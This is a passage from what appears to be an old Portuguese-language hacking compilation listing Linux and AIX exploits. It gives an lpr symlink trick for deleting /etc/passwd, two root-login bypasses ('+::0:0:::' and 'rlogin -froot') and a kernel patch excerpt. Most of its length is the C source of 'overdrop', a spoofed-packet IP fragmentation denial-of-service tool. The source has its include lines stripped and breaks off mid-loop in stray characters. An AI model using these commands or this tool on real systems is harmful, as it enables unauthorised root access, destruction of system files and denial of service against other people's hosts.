entre nele e edita um arquivo unlinkavel. O problema esta em lpr(1)nao olhe os diretorios com (eg. /tmp) [ patch deleted] D'oh! It doesn't. :( Patheie o script e zaz daqui algums dias volte l e de um lpr-s mkdir /tmp/foobar ln -s /etc/passwd /tmp/foobar lpr big_huge_file lpr -r /tmp/foobar/passwd rm -rf /tmp/foobar ; ln -s /etc /tmp/foobar OU ln -fs /home/private_file /tmp/foobar/passwd # Does this work? /etc/passwd goes away.------------------------------------------------------------------------------ Usuario loga como ROOT, sistema linux by Ken Weaverling (weave@hopi.dtcc.edu) Em alguns sistemas antigos de Linux existem um bug muito escroto, onde so colocao alguns sinais que vc loga como ROOT... No sistema Slackware 2.3/ kernel 1.2.13. so digitar quando vc for logar pelo telnet... '+::0:0:::' Sacou isto mesmo s digitar no password '+::0:0:::'------------------------------------------------------------------------------ Rlogin, usuario loga como ROOT, sistema AIX e Linux (Slackware 3.1, Redhat 2.0-2.1) autor desconhecido bug retirado da ROOTSHELL : % rlogin haxored.net -l -froot #------------------------------------------------------------------------------ ip_fragment.c, nao sei o que faz ainda nao testei, sistema Linux 2.0.33 remandado por Michal Zalewski ----------------------ip_fragment.c if(len>65535) {- printk("Oversized IP packet from %s.\n", in_ntoa(qp->iph->saddr));+ NETDEBUG(printk("Oversized IP packet from %s.\n", in_ntoa(qp->iph->saddr))); ip_statistics.IpReasmFails++; ip_free(qp); return NULL;-------------------------------------------------------------------------// overdrop by lcamtuf [Linux 2.0.33 printk abuse]// ------------------------------------------------// based on (reaped from) teardrop by route|daemon9#include #include #include #include #include #include #include #include #include #include #include #define IP_MF 0x2000#define IPH 0x14#define UDPH 0x8#define PADDING 0x1c#define MAGIC 0x3#define COUNT 0xBEEF#define FRAG2 0xFFFFvoid usage(char *name) { fprintf(stderr,"%s dst_ip [ -n how_many ] [ -s src_ip ] [ -x ] (use -x for express delivery).\n",name); exit(0);}u_long name_resolve(char *host_name) { struct in_addr addr; struct hostent *host_ent; if ((addr.s_addr=inet_addr(host_name))==-1) { if (!(host_ent=gethostbyname(host_name))) return (0); bcopy(host_ent->h_addr,(char *)&addr.s_addr,host_ent->h_length); } return (addr.s_addr);}void send_frags(int sock,u_long src_ip,u_long dst_ip,u_short src_prt,u_short dst_prt) { u_char *packet=NULL,*p_ptr=NULL; u_char byte; struct sockaddr_in sin; sin.sin_family=AF_INET; sin.sin_port=src_prt; sin.sin_addr.s_addr=dst_ip; packet=(u_char *)malloc(IPH+UDPH+PADDING); p_ptr=packet; bzero((u_char *)p_ptr,IPH+UDPH+PADDING); byte=0x45; memcpy(p_ptr,&byte,sizeof(u_char)); p_ptr+=2; *((u_short *)p_ptr)=htons(IPH+UDPH+PADDING); p_ptr+=2; *((u_short *)p_ptr)=htons(242); p_ptr+=2; *((u_short *)p_ptr)|=htons(IP_MF); p_ptr+=2; *((u_short *)p_ptr)=0x40; byte=IPPROTO_UDP; memcpy(p_ptr+1,&byte,sizeof(u_char)); p_ptr+=4; *((u_long *)p_ptr)=src_ip; p_ptr+=4; *((u_long *)p_ptr)=dst_ip; p_ptr+=4; *((u_short *)p_ptr)=htons(src_prt); p_ptr+=2; *((u_short *)p_ptr)=htons(dst_prt); p_ptr+=2; *((u_short *)p_ptr)=htons(8+PADDING); if (sendto(sock,packet,IPH+UDPH+PADDING,0,(struct sockaddr *)&sin, sizeof(struct sockaddr))==-1) { perror("\nsendto"); free(packet); exit(1); } p_ptr=&packet[2]; *((u_short *)p_ptr)=htons(IPH+MAGIC+1); p_ptr+=4; *((u_short *)p_ptr)=htons(FRAG2); if (sendto(sock,packet,IPH+MAGIC+1,0,(struct sockaddr *)&sin, sizeof(struct sockaddr))==-1) { perror("\nsendto"); free(packet); exit(1); } free(packet);}int main(int argc, char **argv) { int one=1,count=0,i,rip_sock,lag=500; u_long src_ip=0,dst_ip=0; u_short src_prt=0,dst_prt=0; struct in_addr addr; fprintf(stderr,"overdrop by lcamtuf [based on teardrop by route|daemon9]\n\n"); if((rip_sock=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0) { perror("raw socket"); exit(1); } if (setsockopt(rip_sock,IPPROTO_IP,IP_HDRINCL,(char *)&one,sizeof(one))<0) { perror("IP_HDRINCL"); exit(1); } if (argc < 2) usage(argv[0]); if (!(dst_ip=name_resolve(argv[1]))) { fprintf(stderr,"Can't resolve destination address.\n"); exit(1); } while ((i=getopt(argc,argv,"s:n:x"))!=EOF) { switch (i) { case 'n': count = atoi(optarg); break; case 's': if (!(src_ip=name_resolve(optarg))) { fprintf(stderr,"Can't resolve source address.\n"); exit(1); } break; case 'x': lag=0; break; default: usage(argv[0]); break; } } srandom((unsigned)(time((time_t)0))); if (!count) count=COUNT; fprintf(stderr,"Sending oversized packets:\nFrom: "); if (!src_ip) fprintf(stderr," (random)"); else { addr.s_addr = src_ip; fprintf(stderr,"%15s",inet_ntoa(addr)); } addr.s_addr = dst_ip; fprintf(stderr,"\n To: %15s\n",inet_ntoa(addr)); fprintf(stderr," Amt: %5d\n",count); fprintf(stderr,"[ "); for (i=0;i<><><><><><><><><><><><><>